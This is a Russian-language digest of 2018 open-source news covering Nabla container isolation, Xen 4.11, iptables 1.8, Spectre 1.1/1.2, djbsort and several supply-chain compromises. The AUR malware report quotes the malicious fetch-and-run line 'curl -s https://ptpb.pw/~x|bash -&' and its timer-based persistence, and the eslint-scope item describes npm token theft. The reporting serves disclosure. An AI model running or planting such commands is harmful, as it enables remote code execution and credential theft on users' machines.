Оценка безопасности новой системы контейнерной изоляции Nabla

Джеймс Боттомли (James Bottomley), известный разработчик ядра Linux, входивший в координационный технический комитет Linux Foundation, опубликовал результаты анализа безопасности различных систем контейнерной изоляции, включая традиционные контейнеры Docker, недавно представленную систему Nabla, нацеленную на минимизацию выполняемых в основном ядре системных вызовов, и гибридные системы gVisor и Kata Containers с изоляцией на базе гипервизоров.

Для каждого типа систем оценивался уровень защищённости от совершения горизонтальных атак (HAP, Horizontal Attack Profile), при которых брешь в одном из базовых слоёв (например, в ядре Linux или гипервизоре) может привести к полной компрометации всей инфраструктуры и получению контроля за корневым окружением и всеми запущенными контейнерами. Уровень безопасности HAP зависит от объёма привилегированного кода, который вызывается в процессе работы той или оной системы контейнерной изоляции или виртуализации. Чем меньше привилегированного кода вовлечено в выполнение контейнера тем выше безопасность всей системы, так как сокращается число потенциальных векторов для атак и уменьшается вероятность присутствия уязвимостей.

Основным путём совершения горизонтальных атак для контейнеров являются системные вызовы, обработка которых выполняется на стороне общего ядра и, в случае наличия уязвимости в одном из обработчиков системного вызова, злоумышленник, имеющий доступ к одному из контейнеров, может получить контроль над всей инфраструктурой. В случае применения виртуализации на базе гипервизоров главными объектами для атак становятся гипервизор и прослойки для обеспечения доступа к оборудованию или эмуляции оборудования. В системах контейнерной изоляции предоставляется доступ к около 300 системным вызовам, что примерно в 10 раз превышает число гипервызовов (hypercall).

Из-за использования общего ядра Linux обычные контейнеры предоставляют больше векторов для совершения горизонтальных атак. Выходом могли бы стать комбинированные решения на базе виртуализации, использующие легковесное системное окружение, но из-за больших накладных расходов они проигрывают по производительности (наблюдается снижение производительности на 10-30%) и требуют для своей работы больше памяти. В качестве варианта, который обеспечивал бы должную производительность и защищённость, недавно была представлена система контейнерной изоляции Nabla.

В Nabla используется только 9 системных вызовов, а вся основная функциональность, включая TCP/IP стек и код файловых систем, реализована в виде работающего в пространстве пользователя unikernel, не привязанного к ядру ОС и системным библиотекам. Данную систему можно рассматривать как аналог проектов для запуска приложений поверх гипервизора, но вместо гипервизора Nabla использует обычные механизмы контейнерной изоляции с жесткой блокировкой доступа к системным вызовам при помощи фильтров seccomp.

В качестве основы в окружениях Nabla задействованы наработки открытого компанией IBM проекта Solo5, предоставляющего изолированное окружение для запуска произвольных unikernel, в том числе развиваемых проектами Rump, MirageOS и IncludeOS. Вся необходимая системная функциональность прикрепляется к приложению во время сборки. Среди протестированных приложений Nginx, Python, Redis и Node.js, для которых подготовлены типовые образы контейнеров. Для запуска контейнеров применяется runtime runnc (переработанный runc), интегрируемый с инструментарием Docker и совместимый со спецификацией OCI (Open Container Initiative).

Для анализа безопасности была проведена оценка охвата привилегированного кода, который вовлекается при выполнении изолированных окружений. В частности, было посчитано число уникальных функций ядра, которые были вызваны в процессе работы окружений с Redis, Python и Node.js. Для контейнеров при помощи ftrace учитывалось число выполненных системных вызовов, а для систем виртуализации число гипервызовов и обращений к бэкендам, выполняемым на стороне kvm vhost или Xen dom0.

В результате в Nabla было зафиксировано в 2-3 раза меньше вызовов по сравнению с другими механизмами изоляции, в том числе по сравнению с gVisor (используется собственное мини-ядро на языке Go, предоставляющее необходимые системные вызовы) и Kata Containers (применяется урезанный вариант обычного ядра Linux).

Измерение производительности тестовых заданий на базе Redis, Python и Node.js показало, что показатели конетейнеров Nabla сравнимы с Kata Containers и отстают от Docker на 10-30%. Узким местом Nabla стала реализация сетевого стека в пространстве пользователя. При использовании конфигурации с оркестровкой контейнера напрямую (nabla-raw) без сетевого взаимодействия, производительность Nabla достигла уровня Docker. Низкая производительность gVisor объясняется большими накладными расходами при использовании ptrace и гипервызовов (gVisor-kvm) для привязки системных вызовов к изолированному окружению.

Источник: [ссылка]

Выпуск Latte Dock 0.8, альтернативной панели для KDE

Состоялся релиз панели Latte Dock 0.8, предлагающей элегантное и простое решение для управления задачами и плазмоидами. В том числе поддерживается эффект параболического увеличения пиктограмм в стиле macOS или панели Plank. Панель Latte построена на базе фреймворка KDE Plasma и требует для работы Plasma 5.12, KDE Frameworks 5.38 и Qt 5.9 или более новые выпуски. Код проекта распространяется под лицензией GPLv2. Установочные пакеты сформированы для Ubuntu, Debian, Fedora и openSUSE.

Проект основан в результате слияния схожих по своим задачам панелей — Now Dock и Candil Dock. После объединения разработчики попытались совместить предлагаемый в Candil принцип формирования обособленной панели, работающей отдельно от Plasma Shell, со свойственными Now Dock качественным оформлением интерфейса и использованием только библиотек KDE и Plasma без сторонних зависимостей.

Основные новшества:

  • Появилась возможность одновременного использования нескольких раскладок панели, что позволяет привязать к разным комнатам (activities) принципиально разные способы компоновки панели, например, в одной комнате отображать панель сбоку в стиле Unity, а в другой комнате в форме нижней строки в стиле Plasma;

  • Улучшен механизм динамического отображения фона окон — во время перемещения или изменения размера окон теперь автоматически фон окна становится полупрозрачным для более удобного позиционирования с учётом другого содержимого на рабочем столе;
  • Добавлен унифицированный механизм горячих клавиш для апплетов и задач (для всех элементов на панели теперь применяются общие номера быстрого вызова);
  • В каталог store.kde.org добавлена возможность загрузки раскладок панели для Latte Dock, подготовленных представителями сообщества. Содержимое каталога можно просмотреть непосредственно из конфигуратора панели;
  • Обеспечена более плавная анимация изменений при конфигурировании панели;
  • В режим редактирования пользователю предоставлена возможность выбора произвольных фоновых изображений для панели;
  • Добавлен новый виджет с реализацией разделителя, позволяющего более явно визуально отделить друг от друга задачи в панели;
  • В конфигуратор добавлены новые настройки: возможность блокировки раскладок панели для запрета внесения изменений и режим скрытия границ (Borderless) при раскрытии окна на весь экран;
  • Во вкладке настройки задач пользователь теперь может отключить группировку идентичных программ;
  • В настройки добавлены две новые секции Active Indicator для настройки стиля индикатора активной задачи и Glow для настройки характера подсветки значка активной задачи;
  • Добавлена возможность смены режима панели в один клик;
  • Для людей с ослабленным зрением реализована возможность вывода более крупных меток на значках;
  • Добавлена возможность выбрать раскладку панели через контекстное меню при использовании менеджера задач Plasma;
  • Добавлены опции командной строки для манипуляции базовыми настройками панели (например, «—layout» для выбора раскладки, «—available-layouts» для просмотра доступных раскладок и «—import-layout» для импорта раскладки);
  • Улучшена поддержка Wayland. Разработчик Latte Dock теперь использует панель в окружении на базе Wayland в своей повседневной работе.

Источник: [ссылка]

Релиз гипервизора Xen 4.11

После семи месяцев разработки состоялся релиз свободного гипервизора Xen 4.11. По сравнению с прошлым выпуском в Xen 4.11 внесено 1206 изменений. В разработке нового выпуска приняли участие такие компании, как Citrix, SUSE, ARM, AMD, Intel, Amazon, Google, Oracle, EPAM Systems, Huawei, DornerWorks и Qualcomm.

Ключевые изменения в Xen 4.11:

  • Продолжена работа по усовершенствованию ABI-интерфейса PVH, комбинирующего элементы режимов паравиртуализации (PV) для ввода/вывода, обработки прерываний, организации загрузки и взаимодействия с оборудованием, с применением полной виртуализации (HVM) для ограничения привилегированных инструкций, изоляции системных вызовов и виртуализации таблиц страниц памяти. Гостевые системы в режиме PVH содержат меньше критичного кода по сравнению с PV и HVM, а интерфейс между операционной системой и гипервизором значительно проще и менее подвержен атакам.

    В новом выпуске добавлена экспериментальная поддержка PVH Dom0, активируемая при вызове Xen c опцией «dom0=pvh». До сих пор запуск в качестве Dom0 был возможен только для гостевых систем в режиме PV. Гостевые системы в режиме HVM требуют выполнения компонентов QEMU на стороне Dom0 для эмуляции оборудования, что не позволяет использовать их как Dom0. Гостевые системы PVH не требуют для своего выполнения компонентов, помимо гипервизора, поэтому они как и гостевые системы PV могут загружаться в условиях, когда не запущено других гостевых систем, и могут выполнять функции базового окружения Dom0. Применение PVH Dom0 существенно повышает безопасность конфигураций Xen, так как по сравнению с PV позволяет исключить при работе примерно 1.5 млн строк кода QEMU. Работа PVH Dom0 пока доступна только в Linux и FreeBSD;

  • В гипервизор добавлена встроенная поддержка эмуляции конфигурации PCI, которая ранее предоставлялась через внешний обработчик из QEMU;
  • Добавлена прослойка для обеспечения запуска немодифицированных паравиртуализированных гостевых систем (PV) в окружении PVH, что позволяет обеспечить работу старых гостевых систем в более безопасных окружениях, ограниченных режимом PVH;
  • Производительность планировщиков Credit1 и Credit2 оптимизирована для работы в условиях эксклюзивной и мягкой (soft-affinity) привязки виртуальных CPU (vCPU) к физическим ядрам CPU (pCPU);
  • Добавлены новые вызовы DMOP (Device Model Operation Hypercall) для работы консоли VGA при использовании QEMU, запущенном в режиме изоляции, позволяющем защититься от атак на гипервизор в случае компрометации компонентов QEMU;
  • На системах с процессорами на базе архитектуры Skylake и новее включена поддержка расширения MBA (Memory Bandwidth Allocation), позволяющего снизить негативное влияние на систему перегруженных виртуальных машин за счёт применения системы урезания ресурсов на основе выделенного бюджета;
  • В эмулятор x86 добавлена поддержка наборов инструкций Intel AVX и AVX2, а также AMD F16C, FMA4, FMA, XOP и 3DNow;
  • В систему привязки ресурсов для гостевых систем добавлена возможность маппинга таблиц доступа к памяти (Grant table) и серверных страниц IOREQ;
  • Для систем на базе архитектуры ARM переработана поддержка VGIC и проведён рефакторинг обработчиков таблиц страниц памяти, подсистем работы с памятью и поддержки платформ big.LITTLE для упрощения сопровождения кода. Добавлена поддержка интерфейсов PSCI 1.1 (Power State Coordination Interface) и SMCCC 1.1 (Secure Monitor Call Calling Conventions);
  • Добавлены механизмы для блокирования уязвимостей в механизме спекулятивного выполнения инструкций в процессорах: для защиты от уязвиомости Meltdown добавлен механизм XPTI (эквивалент добавленной в ядро Linux техники KPTI (Kernel Page Table Isolation). Для защиты от Spectre задействованы инструции IBRS (Indirect Branch Restricted Speculation) и IBPB (Indirect Branch Prediction Barriers), а для систем без их поддержки предложена техника Retpoline. Также добавлены методы для защиты от атак Spectre 4 и Lazy FP. Для управления включением методов защиты предложена новая опция spec-ctrl;
  • В будущих выпусках ожидается стабилизация PVH Dom0, поддержка проброса PCI-устройств в гостевые системы PVH и возможность сборки PV- и HVM-версий Xen.

Источник: [ссылка]

В популярный NPM-модуль внедрено вредоносное ПО, копирующее параметры аутентификации

Администраторы репозитория NPM уведомили пользователей о компрометации пакетов eslint-scope и eslint-config-eslint, в которых поставлялся популярный анализатор JavaScript-кода, насчитывающий более 2 млн загрузок в неделю и 59 млн суммарных загрузок. В результате получения контроля за учётными данными мэйнтейнера eslint-scope злоумышленникам удалось опубликовать обновление, содержащее троянский код.

При выполнении операции установки пакета, с сайта pastebin.com загружался и запускался скрипт, который отправлял на внешний сервер содержимое файла ~/.npmrc, включающего токен для аутентификации в NPM. Данные отправлялись на серверы учёта статистики посещений «sstatic1.histats.com» и «c.statcounter.com» в составе параметра, указанного в HTTP-заголовке «Referer» (злоумышленники могли просмотреть захваченные токены через web-интерфейсы счётчиков посещений histats.com и statcounter.com).

Взлом учётной записи разработчика был произведён из-за использования одного и того же пароля на разных сайтах, на одном из которых произошла утечка базы пользователей. Сопоставив email разработчика злоумышленники смогли воспользоваться паролем для получения доступа к NPM. Троянская вставка присутствовала в версиях eslint-scope 3.7.2 и eslint-config-eslint 5.0.2.

По предварительным сведениям с момента публикации до блокировки вредоносного обновления (c 12:49 до 17:37 MSK 12 июля) злоумышленникам удалось получить токены для доступа к учётным записям примерно 4500 разработчиков. К счастью атака была оперативно пресечена и администрация NPM заблокировала все токены аутентификации, выданные до 17:30 (MSK) 12 июля. Пользователям NPM необходимо обновить свои токены повторно выполнив процедуру аутентификации на сайте npmjs.com. Для усиления защиты своих учётных записей разработчикам модулей рекомендовано включить двухфакторную аутентификацию. В промежуток времени с момента публикации вредоносного обновления до начала блокировки токенов достоверно подтверждённых попыток использования перехваченных токенов не зафиксировано.

Предполагается, что компрометация пакета eslint-scope, как правило используемого для отладки других NPM-пакетов разработчиками, была первым этапом внедрения червя, который мог использовать захваченные токены для внедрения вредоносного кода в новые модули. С учётом разветвлённой системы зависимостей в случае успеха атака могла иметь катастрофические последствия. Например, среди пользователей eslint-scope разработчики таких популярных проектов, как Yarn (48% всех загрузок в NPM), Babel (150 млн загрузок), jQuery (65 млн загрузок), CoffeeScript (50 млн загрузок). Данные пакеты используются как зависимости в тысячах других пакетов и проектов.

По счастливому стечению обстоятельств во вредоносном коде была допущена ошибка, которая приводила к сбою установки, если при определённых условиях поток для получения ответа на запрос к pastebin.com закрывался до окончания выполнения вызова eval(). Данная особенность сразу привлекла внимание пользователей пакета, которые начали разбирать код и менее чем через час после публикации вредоносного обновления отправили уведомление разработчикам.

Источник: [ссылка]

Релиз iptables 1.8.0

Спустя два с половиной года с момента формирования прошлой стабильной ветки 1.6.x представлен iptables 1.8.0, новый значительный релиз инструментария для управления пакетным фильтром Linux.

Основные изменения:

  • Обеспечено явное разделение классического фронтэнда iptables и нового фронтэнда, построенного поверх инфраструктуры пакетного фильтра nftables и позволяющего мигрировать на технологии nftables, продолжив использовать привычные инструменты и синтаксис iptables. Классический фронтэнд теперь поставляется с явным указанием в имени исполняемых файлов слова «-legacy», например iptables-legacy и iptables-legacy-save, а файлы фронтэнда на базе nftables вместо «-compat» теперь заканчиваются на «-nft», например, iptables-nft. При запуске iptables с командой ‘—version’ выдаётся информация о типе фронтэнда (например «iptables v1.8 (legacy)» или «iptables v1.8 (nf_tables)»);
  • Дистрибутивам рекомендуется устанавливать по умолчанию классческий фронтэнд для стабильных выпусков, а в экспериментальных версиях предлагать команды на базе nftables в качестве альтернативы c созданием симлинков iptables, ip6tables, iptables-restore и т.п., указывающих на xtables-nft-multi. В качестве плюсов применения варианта на базе nftables отмечается отсутствие необходимости применения опции «—wait» для решения проблем с одновременным запуском, поддержка монитринга набора правил при помощи сторонних фоновых процессов, предоставление возможностей для отладки правил (xtables-monitor —trace в сочетании с iptables-действием TRACE) и возможность добавления/удаления правил не меняя внутреннее состояние таких критериев как органичения и квоты;
  • Применяемый для IPv6 критерий (match) ‘srh’ теперь может применяться для сопоставления с прошлым, следующим и последним идентификатором сеанса (SID);
  • В действии (target) CONNMARK обеспечена поддержка операций битового сдвига для критериев restore-mark, set-mark и save-mark;
  • В DNAT теперь допустимо использовать сдвинутые диапазоны portmap (входящие обращения к портам (например, 5000-5100) теперь можно перенаправить в иной диапазон портов (2000-2100), в то время как раньше поддерживалось перенаправление только совпадающих диапазонов портов или нужно было перечислять по одному порту в правиле);
  • В бэкенд nf_tables добавлены новые команды:
    • xtables-monitor — отображает изменения в наборе правил и информацию о трассировке пакетов для отладки правил.
    • ebtables — функциональность для замены утилиты ebtables;
    • arptables — функциональность для замены утилиты arptables;
  • Добавлено семейство утилит ‘translate’ (ip6tables-translate, ip6tables-restore-translate, iptables-restore-translate, iptables-translate) для преобразования синтаксиса iptables в родные наборы правил nftables, воспринимаемые утилитой nft.

Источник: [ссылка]

Гвидо ван Россум решил отстраниться от руководства проектом Python

Гвидо ван Россум (Guido van Rossum) сообщил о намерении покинуть пост великодушного пожизненного диктатора (BDFL) проекта Python и полностью отстраниться от участия в процессах принятия решений. Основной причиной ухода является нежелание больше тратить своё время на баталии при принятии PEP-спецификаций (в январе Гвидо исполнилось 62 года и он устал от сложившегося темпа работы).

Гвидо продолжит участие в проекте, но на позиции обычного core-разработчика и наставника. Он также не намерен назначать преемника на пост BDFL и поэтому предложил другим разработчикам обсудить возможность перехода на новую модель управления. До реструктуризации модели управления пост BDFL сохраняется, но формально Гвидо теперь находится в бессрочном отпуске, а управление будет сосредоточено в руках сообщества, которое должно будет выбрать новую модель управления.

Решение Гвидо не скажется на ежедневной работе в системе отслеживания ошибок и активности на GitHub, так как он мало пересекался с этой деятельностью. Основными вопросами, которые предстоит решить сообществу, станет выработка новых процессов для принятия PEP-спецификаций, включения участников в группу core-разработчиков с правом коммита, а также воздействия на нарушителей кодекса поведения проекта (Code of Conduct).

Источник: [ссылка]

Два новых варианта уязвимости Spectre. Усиление защиты Chrome

Раскрыты сведения о двух новых уязвимостях в механизме спекулятивного выполнения инструкций в процессорах. Уязвимости основываются на тех же принципах, что и метод атаки Spectre 1, поэтому им присвоены кодовые имена Spectre 1.1 (CVE-2018-3693) и Spectre 1.2 (CVE пока не назначен). Наличие проблем подтверждено в процессорах Intel и ARM, подверженность уязвимостям процессоров AMD пока находится под вопросом. В рамках программы по выплате вознаграждений за выявление уязвимостей компания Intel выплатила исследователям 100 тысяч долларов.

Уязвимость Spectre 1.1 продолжает развитие идей по восстановлению данных, оставшихся в процессорном кэше в результате спекулятивного выполнения инструкций. Новый метод позволяет атакующему получить информацию о содержимом памяти через инициирование выполнения спекулятивных операций, приводящих к переполнению буфера (ключевое отличие от Spectre 1 в том, что для атаки используются спекулятивные операции записи, а не чтения). Несмотря на то, что подобные операции выполняются в ходе спекулятивного выполнения и отбрасываются после определения пересечения границ буфера, их результат оседает в кэше и может быть восстановлен при помощи методов определения содержимого кэша по сторонним каналам, анализирующих изменение времени доступа к прокэшированным и не прокэшированным данным.

Проблеме присвоен достаточно низкий уровень опасности (5.9 из 10) так как для организации непривилегированным пользователем атаки для чтения данных из привилегированных областей памяти требуется наличие в привилегированном коде определенной последовательности команд в сочетании с тем, что запись в память должна производиться по адресу, зависящему от внешнего значения, подконтрольного атакующему (например, должны присутствовать конструкции вида «if (y Принцип работы уязвимости Spectre 1.2 в основных чертах аналогичен Spectre 1.1, но основывается на инициировании спекулятивных операций записи в области памяти, которые защищены флагом, допускающим только чтение. В качестве практического применения Spectre 1.2 называется определение значений указателей и метаданных с целью организации обхода ограничений sandbox-окружений.

Несмотря на общую схожесть методов с уже устранёнными уязвимостями Spectre 1 и 4, разработанные методы противостояния на уровне компиляторов в текущем виде неэффективны для Spectre 1.1 и 1.2 и требуют модернизации. С другой стороны, техника защиты может быть реализована сходным со Spectre 1 способом и базироваться на добавлении в процессе компиляции приложений инструкции LFENCE, уже поставляемой в ранее выпущенном обновлении микрокода Intel. Кроме того уже имеющиеся в компиляторах режимы противодействия переполнению буфера могут оказаться эффективны для защиты от Spectre 1.1. Исследователями также предложено несколько вариантов устранения уязвимостей полностью на аппаратном уровне.

Тем временем, опубликован модифицированный метод эксплуатации уязвимости Spectre 1 в web-бразуерах (прототип эксплоита), позволяющий обойти добавленные ранее в браузеры меры противодействия уязвимостям Spectre. При открытии специально оформленной страницы с JavaScript-кодом, в JIT может быть сформирован необходимый для проявления уязвимости Spectre набор инструкций, позволяющий атакующему прочитать содержимое всего адресного пространства текущего процесса, в котором могут храниться конфиденциальные сведения, связанные с другими вкладками или сохранёнными ключами и паролями.

Показано, что подобные атаки могут быть успешно проведены даже в условиях применения ранее добавленных ограничений точности таймера и блокирования SharedArrayBuffer, которые лишь замедляют атаку, но полностью не исключают её проведение. Предложенный обходной метод атаки оказался работоспособен в Chrome/Chromium, Edge, Safari и прочих браузерах на базе WebKit и Blink (скорость проведения атаки составила примерно 1 бит в секунду), но не сработал в Firefox благодаря существенному снижению точности performance.now(). В качестве эффективных меры защиты называется полная изоляция сайтов в отдельных процессах и применение масок при индексирования массивов в JavaScript (например, применение для каждого индекса элемента операции AND с маской, зависящей от размера массива).

Для повышения эффективности защиты от Spectre компания Google объявила о включении для 99% пользователей Chrome 67 режима строгой изоляции сайтов, при котором страницы разных сайтов всегда размещаются в памяти разных процессов, в каждом из которых применяется свой sandbox. Сообщается, что указанная техника приведёт к увеличению общего потребления памяти браузером на 10-13% из-за увеличения числа работающих процессов. В дальнейшем в Chrome планируется вернуть прежнюю точность таймера и возобновить поддержку SharedArrayBuffer, так как для защиты от Spectre теперь достаточно режима строгой изоляции.

Главным отличием режима строкой изоляции от ранее применяемой многопроцессной модели является то, что теперь разделение осуществляется не по вкладкам, а по доменам, т.е. если раньше содержимое загруженных с других доменов скриптов, iframe и popup-ов выполнялось в одном процессе с базовым сайтом, то теперь они будут разделены по разным процессам.

Источник: [ссылка]

Дэниэл Бернштейн опубликовал новую библиотеку djbsort

Дэниэл Бернштейн (Daniel J. Bernstein), известный эксперт в области криптографии и создания защищённого ПО, разработавший такие проекты, как qmail, djbdns, NaCl, Ed25519, Curve25519 и ChaCha20-Poly1305, опубликовал новую библиотеку djbsort с реализацией высокопроизводительного алгоритма сортировки массивов целых чисел.

Библиотека демонстрирует рекордные показатели в скорости сортировки в памяти, заметно опережая по производительности существующие аналоги. Например, djbsort при сортировке 1024 32-разрядных знаковых целых чисел расходует 2.5 цикла CPU на байт данных, независимо от содержимого массива, в то время как библиотека Intel IPP (Integrated Performance Primitives) с оптимизациями на базе инструкций AVX расходует около 32 циклов на байт.

Кроме того, библиотека djbsort изначально написана с оглядкой на безопасность и использование в криптографических системах, в том числе может применяться в основанных на применении сортировки реализациях алгоритмов шифрования, стойких к подбору на квантовом компьютере. В частности, djbsort обеспечивает постоянное время сортировки независимо от обрабатываемого содержимого массива, что позволяет исключить применение методов анализа содержимого по сторонним каналам, учитывающих разницу во времени обработки для определения характера данных. В djbsort используются только простые арифметические инструкции без применения условного ветвления.

Третьим достоинством djbsort является предоставление инструментов, позволяющих верифицировать корректность выполненной сортировки для всех возможных вариантов массивов заданного размера. Инструментарий для верификации включает три утилиты: unroller для раскрутки программы сортировки для массивов заданного размера; minmax для преобразования раскрученной программы в набор операторов «min» и «max»; decompose для подтверждения корректности программы min-max.

Ограничения текущей реализации djbsort:

  • Наличие оптимизаций только для CPU с поддержкой инструкций AVX2 ( оптимизации могут быть легко портированы для других CPU);
  • Поддержка только сортировки знаковых 32-разрядных целых чисел (реализация может быть адаптирована для сортировки 16 и 64-разрядных целых, а также для чисел с плавающей запятой, любых записей фиксированного размера и указателей на записи переменного размера с отсортированными ключами);
  • Размер сортируемого массива ограничивается имеющимся размером памяти — размер массива должен вмещаться в ОЗУ, но при желании библиотека может быть адаптирована для сортировки данных на диске с оптимизациями для минимизации обращений к диску;
  • При сортировке используется только одно ядро CPU (алгоритм может быть изменён для параллельной обработки на разных ядрах или для распределённой сортировки на нескольких компьютерах);
  • При верификации не выполняется проверка целостности данных в памяти;
  • Процесс верификации запускается отдельно для массивов разного размера, а скорость верификации уменьшается при увеличении размера массива. Данное ограничение не особо значимо, так как верификация важна для применения в криптографии, а для криптографии используются только специфичные размеры массивов.

Источник: [ссылка]

В AUR-репозитории Arch Linux найдено вредоносное ПО

В AUR-репозитории Arch Linux, в котором размещаются не входящие в дистрибутив пакеты от сторонних разработчиков, найдены три пакета, содержащие вредоносные вставки. Проблема выявлена в пакетах acroread 9.5.5-8 (Adobe PDF Reader), balz 1.20-3 (утилита для сжатия файлов) и minergate 8.1-2 (GUI для майнинга криптовалют). В данные пакеты был добавлен код для загрузки и запуска скрипта с внешнего сервера, активируемый во время установки пакетов.

7 июля в пакеты были внесены изменения, в результате которых в файл PKGBUILD был добавлен код «curl -s https://ptpb.pw/~x|bash -&» вызываемый в секции установки пакета. Указанный скрипт выполнял загрузку другого скрипта «https://ptpb.pw/~u», устанавливал его как /usr/lib/xeactor/u.sh и активировал через периодический вызов по таймеру (создавался файл /usr/lib/systemd/system/xeactor.timer). В скрипте u.sh присутствовал код для отправки сведений о системе и установленных пакетах через сервис pastebin.com, а также для создания файла compromised.txt в домашних директориях всех пользователей.

Несмотря на то, что вредоносный код ограничивался отправкой сведений о системе, ничто не мешает злоумышленникам в любой момент заменить содержимое u.sh. Например, на первом этапе злоумышленниками мог проводиться анализ наиболее популярных системных окружений с целью подбора оптимального для большинства поражённых систем кода для майнинга криптовалют или требующего выкуп вредоносного шифровальщика.

Изменения были внесены пользователем xeactor в пакеты, имеющие статус orphaned, т.е. оставшиеся без мэйнтейнера. AUR позволяет любому желающему продолжать разработку orphane-пакетов, чем и воспользовался злоумышленник. Разработчики дистрибутива много раз предупреждали пользователей, что к пакетам из AUR (также справедливо для PPA и прочих репозиториев, в которых сторонние пользователи могут размещать свои пакеты) следует относиться с осторожностью и по возможности проверять содержимое файла PKGBUILD.

Проблема была выявлена в течение нескольких часов после модификации пакетов. Изменение было сразу отклонено, а учётная запись разработчика xeactor заблокирована. Пользователям, 7 июля устанавливавшим обновления вышеотмеченных пакетов, рекомендуется проверить свои системы на предмет возможной компрометации (например, о наличии вредоносного ПО в системе может сигнализировать файл /usr/lib/systemd/system/xeactor.timer).

Источник: [ссылка]

Зафиксирована подмена злоумышленниками официального Chrome-дополнения Hola VPN

Компания Hola VPN сообщила о компрометации учётной записи одного из разработчиков проекта, в результате чего злоумышленники смогли подменить официальное дополнение Hola VPN к браузеру Chrome. Дополнение насчитывает около 8.7 млн пользователей.

После получения параметров аутентификации разработчика в сервисах Google злоумышленники опубликовали модифицированную версию дополнения, в которой был встроен скрытый проброс на поддельную фишинг-страницу, срабатываюзий при открытии сайта MyEtherWallet.com с реализацией web-кошелька для криптовалюты Ethereum. В настоящее время контроль над учётной записью возвращён и в каталоге Chrome Web Store размещено корректное дополнение. Информации о методе получения контроля за учётной записью разработчика Hola VPN пока не раскрывается.

Всем пользователям MyEtherWallet, которые вчера обновляли или устанавливали Chrome-дополнение Hola VPN рекомендуется срочно завести новую учётную запись и перевести на неё имеющиеся в электронном кошельке средства. Это вторая действенная атака против MyEtherWallet за последние месяцы — в апреле злоумышленникам удалось через манипуляции с BGP перенаправить трафик DNS-сервиса Amazon Route 53 на свой хост и на несколько часов подменить сайт MyEtherWallet.com.

Источник: [ссылка]

В рамках проекта Browsh развивается консольный браузер на базе Firefox

Представлен новый консольный браузер Browsh, примечательный полноценной поддержкой web-технологий и возможностью отображения изображений, видео и WebGL-контента в форме ASCII-анимации. Для обработки контента применяется движок Firefox. Код Browsh написан на языках Go и JavaScript, и распространяется под лицензией GPLv3. Готовые сборки подготовлены для Linux, FreeBSD, macOS и Windows (для работы дополнительно должен быть установлен Firefox новее выпуска 56).

В качестве основной области применения Browsh называется работа в условиях экономии трафика или при низкой пропускной способности. Например, при наличии канала связи порядка 3kbps (при подключении через телефон с GPRS) можно соединиться по SSH с сервером и запустить на нём Browsh. В отличие от таких консольных браузеров, как elinks и lynx, в Browsh имеется полноценная поддержка JavaScript и HTML5. Для обработки web-контента используется браузер Firefox, запускаемый в режиме без вывода на экран («-headless»).

В запускаемый в режиме headless экземпляр Firefox устанавливается специальное дополнение, которое принимает от консольной утилиты запросы, обрабатывает их и выполняет трансляцию вывода в текстовое представление с ASCII-графикой. Консольная утилита выполняет роль прослойки для организации взаимодействия пользователя, основная логика реализована на стороне браузерного дополнения.

Browsh можно запускать через терминал или использовать в виде web-сервиса, предоставляющего упрощённый вариант страниц для просмотра в web-браузере пользователя. Например, открытие в Browsh сайта, который при обычных условиях требует загрузки 3MB данных и отправляет более 100 HTTP-запросов, потребует загрузки всего 15 KB данных и отправки двух HTTP-запросов (один для содержимого и один для favicon). Режим работы в виде web-сервиса встроен в Browsh и активируется при указании опции «-http-server» (по умолчанию запросы принимаются на 4333 сетевом порту).

Для сокращения требуемой для просмотра в терминале пропускной способности дополнительно может применяться MoSH, кэширующий состояние экрана на стороне клиента и передающий только информацию об изменившихся данных. Browsh также может использоваться для организации доступа в web со слишком маломощных систем, у которых недостаточно ресурсов для запуска полноценного браузера и имеется только возможность обращения к удалённому терминалу, или при нежелании нагружать CPU запуском браузера в условиях жесткой экономии заряда аккумулятора.

Источник: [ссылка]

Airbus и IBM подготовили интеллектуальный помощник для МКС, работающий под управлением Ubuntu

Компания Airbus при участии IBM разработала для Международной космической станции автономный летающий интеллектуальный помощник CIMON (Crew Interactive Mobile CompanioN), который будет помогать космонавтам в процессе их работы. Устройство оснащено системой искусственного интеллекта на основе наработок проекта IBM Watson, способной понимать вопросы на естественном языке и генерировать ответы. В качестве операционной системы применяется Ubuntu Linux. CIMON был отправлен на МКС 6 июня в рамках миссии «Горизонты«.

CIMON может оценивать окружающую обстановку, воспринимать команды и поддерживать диалог на естественном языке. В БД CIMON заложены сведения о проводимых на станции экспериментах, разнообразная справочная информация и инструкции по действию в нештатных ситуациях. CIMON также может выполнять такие рутинные действия как ведение дневника проведения эксперимента и поиск объектов на станции (устройство оснащено 12 пропеллерами и может свободно перемещаться по станции, следовать за космонавтом и менять положение экрана для соответствия положению головы космонавта).

В CIMON также заложены функции для снижения стресса в команде и он может применяться, например, для воспроизведения музыки, показа видео или установки канала связи по просьбе космонавтов. Аутентификация пользователей осуществляется через распознавание лица. Устройство выполнено в виде шара весом 5 кг и оснащено 8-дюймовым сенсорным экраном. На экране может выводиться анимация с симуляцией человеческого лица, а также доступен штатный рабочий стол GNOME. Время автономной работы составляет 2 часа.

Источник: [ссылка]